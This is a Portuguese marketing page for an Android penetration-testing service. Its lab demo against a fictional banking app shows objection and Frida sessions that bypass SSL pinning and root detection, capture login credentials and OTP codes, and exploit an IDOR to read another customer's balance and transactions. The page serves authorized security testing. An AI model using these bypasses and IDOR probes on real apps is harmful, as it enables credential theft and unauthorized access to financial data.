Ataque • Pentest Mobile (Android)

Pentest de aplicações Android além dos scanners automatizados.

Simulamos ataques reais em apps Android — avaliando armazenamento, transporte, autenticação/autorização, engenharia reversa e proteção de APIs/backend. Relatório acionável, priorização por risco e reteste incluso.

Pentest Mobile

Escopo: apps Android (APK), suas APIs e a comunicação app-servidor. Abordagens black/gray/white box conforme seu objetivo.

Por que fazemos

Proteja seu negócio.

Vulnerabilidades em apps Android expõem dados sensíveis e afetam a confiança dos usuários. Nossa abordagem manual e criteriosa vai além do scanner para identificar e explorar falhas com real impacto no seu app.

  • Análise de app, APIs e comunicação (app ⇄ servidor).
  • Engenharia reversa e descompilação para visão profunda.
  • Priorização por risco e recomendações práticas.
  • Reteste incluso para validar correções críticas.

Escopo: hoje testamos apenas aplicações Android. Se o seu produto também tem app iOS, avisamos na proposta e mantemos o escopo no que conseguimos testar com profundidade.

Na prática

Na prática: como testamos seu aplicativo mobile.

Demonstração com objection e Frida em ambiente de laboratório. App fictício com.labbank.app.

O ambiente: Android Studio com o app do banco em um celular virtual

Rodamos o aplicativo em um emulador Android controlado, igual a um celular real, e observamos por dentro tudo o que o app faz enquanto ele é usado normalmente.

Android Studio — LabBank-Pentest
Run 📱 Pixel 7 · API 34 Network Inspector Logcat Profiler
09:41●●●  🔋 100%
LabBank · app
Saldo em conta
R$ 15.420,75
Ag 0001 · CC ••••4029
Pix
Transferir
Pagar
Extrato
Últimas transações
Pix · Maria S.+ R$ 320,00
Transf. · João P.− R$ 1.200,00
HTTPS interceptado
Network Inspector
com.labbank.app
POST/v1/auth/login200🔓
GET/v1/accounts/balance200
POST/v1/pix/transfer200
GET/v1/cards/statement200
Corpo descriptografado · POST /auth/login
{ "cpf": "***.***.891-04", "senha": "S3gur@2026" }
Corpo em texto claro · capturado no nível da app (Network Inspector)

objection — SSL Pinning bypass + hooking ao vivo

O pentester conecta no app via USB, desabilita o SSL Pinning e observa chamadas de autenticação em tempo real.

pentester@kali: ~/mobile/lab-bank
# Passo 1: conectamos no app pelo cabo USB e entramos no modo de análise $ objection -g com.labbank.app explore _ _ _ _ ___| |_|_|___ ___| |_|_|___ ___ | . | . | | -_| _| _| | . | | |___|___|_|___|___|___|_|___|_|_| Runtime Mobile Exploration by: @leonjza from @sensepost [tab] for command suggestions # Passo 2: desligamos o SSL Pinning, a trava que impede interceptar o tráfego do app com.labbank.app on (Android: 14) [usb] # android sslpinning disable (agent) Registering job a1b2c3 (agent) [a1b2c3] Found TrustManagerImpl, hooking checkServerTrusted() (agent) [a1b2c3] Found OkHTTPv3 CertificatePinner, hooking check() (agent) [a1b2c3] Found HostnameVerifier, hooking verify() (agent) [a1b2c3] Found com.labbank.app.net.PinningHelper, hooking validateCert() (agent) [+] SSL Pinning disabled. 4 hooks active # Passo 3: passamos a observar as funções de login do app enquanto ele é usado com.labbank.app on (Android: 14) [usb] # android hooking watch class com.labbank.app.api.AuthService --dump-args --dump-return (agent) Registering job d4e5f6 (agent) [d4e5f6] Hooking AuthService.login(String, String) (agent) [d4e5f6] Hooking AuthService.refreshToken(String) (agent) [d4e5f6] Hooking AuthService.validateOTP(String, String) (agent) [+] 3 methods hooked # Passo 4: o usuário faz login normalmente, e nós vemos tudo por dentro (agent) [d4e5f6] Called AuthService.login("maria@lab.local", "S3gur@2026") (agent) [d4e5f6] Return: {"token":"eyJhbGciOi...R5cCI","userId":1042,"role":"customer"} (agent) [d4e5f6] Called AuthService.validateOTP("1042", "847291") (agent) [d4e5f6] Return: {"status":"approved","session":"s3ss_7f8a9b..."} # Resultado: email, senha e código OTP capturados em texto claro com.labbank.app on (Android: 14) [usb] # _
1
SSL Pinning bypass: 4 hooks desabilitam todas as validações de certificado (TrustManager, OkHTTP, HostnameVerifier, custom). Agora o tráfego pode ser interceptado no Burp.
2
Class hooking: os 3 métodos da AuthService estão sendo observados com args e return values. Quando o usuário faz login, o pentester vê tudo.
3
Credenciais interceptadas: email, senha, código OTP e token JWT capturados em tempo real. Se o SSL Pinning fosse a única defesa, ela caiu.

Frida — Root detection bypass + interceptação de API

Script Frida customizado bypassa root detection e intercepta tráfego HTTP — pegando um IDOR no ato.

pentester@kali: ~/mobile/lab-bank
# Passo 1: injetamos nosso script de análise no app assim que ele abre $ frida -U -l hooks.js -f com.labbank.app ____ / _ | Frida 16.5.2 - A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about 'object' . . . . exit/quit -> Exit [Android 14::com.labbank.app]-> # Passo 2: enganamos a checagem de root, o app passa a achar que roda num celular comum [*] Hooking RootBeer.isRooted() -> forced return: false [*] Hooking RootBeer.detectRootManagementApps() -> forced return: false [*] Hooking RootBeer.detectPotentiallyDangerousApps() -> forced return: false [*] Hooking c.l.a.security.IntegrityCheck.isCompromised() -> forced return: false [+] Root detection bypassed 4 checks neutralized # Passo 3: com o tráfego liberado, passamos a ler tudo o que o app troca com o servidor [*] Intercepting HTTP traffic... [->] POST https://api.labbank.local/v1/auth/login Body: {"email":"maria@lab.local","password":"[REDACTED]"} [<-] 200 OK (187ms) Body: {"token":"eyJhbG...kX9c","user":{"id":1042,"role":"customer"}} [->] GET https://api.labbank.local/v1/accounts/1042/balance Auth: Bearer eyJhbG...kX9c [<-] 200 OK (34ms) Body: {"balance":15420.75,"currency":"BRL"} # Passo 4: trocamos o número da conta (1042) pelo de outro cliente (1043) [->] GET https://api.labbank.local/v1/accounts/1043/balance <- IDOR test Auth: Bearer eyJhbG...kX9c (token do user 1042) [!!] 200 OK (38ms) SHOULD BE 403 Body: {"balance":89200.00,"currency":"BRL","holder":"Carlos Mendes"} [->] GET https://api.labbank.local/v1/accounts/1043/transactions [!!] 200 OK (41ms) SHOULD BE 403 Body: [ {"id":"TX-9921","amount":-3500.00,"desc":"PIX para João Silva"}, {"id":"TX-9918","amount":12000.00,"desc":"Salário"}, {"id":"TX-9915","amount":-890.00,"desc":"Cartão crédito"} ] [+] IDOR confirmed: user 1042 can access full financial data of user 1043 # Resultado: o app entregou saldo e transações de outro cliente, sem autorização (falha de IDOR) [Android 14::com.labbank.app]-> _
1
Root detection bypass: RootBeer + check customizado do app — 4 funções hookadas, todas forçadas a retornar false. O app roda normal no device rooteado.
2
Interceptação de API: com SSL Pinning desabilitado (via objection antes), o Frida loga todas as chamadas HTTP — login, consulta de saldo, transações.
3
IDOR no ato: trocou /accounts/1042/ por /1043/ e a API retornou dados financeiros de outro cliente. A badge vermelha SHOULD BE 403 é o ponto.
Entregáveis

O que você recebe.

  • Relatório executivo: principais vulnerabilidades e riscos priorizados.
  • Relatório técnico com evidências, PoCs e passos de reprodução.
  • Mapa de superfície de ataque: visualização do sistema completo e de todas as vulnerabilidades identificadas.
  • Recomendações práticas com referências (OWASP/NIST/CWE/MSTG).
  • Debrief técnico + executivo, com sessão de perguntas e respostas.
  • Reteste para confirmar as correções críticas.

Vamos testar seu app Android?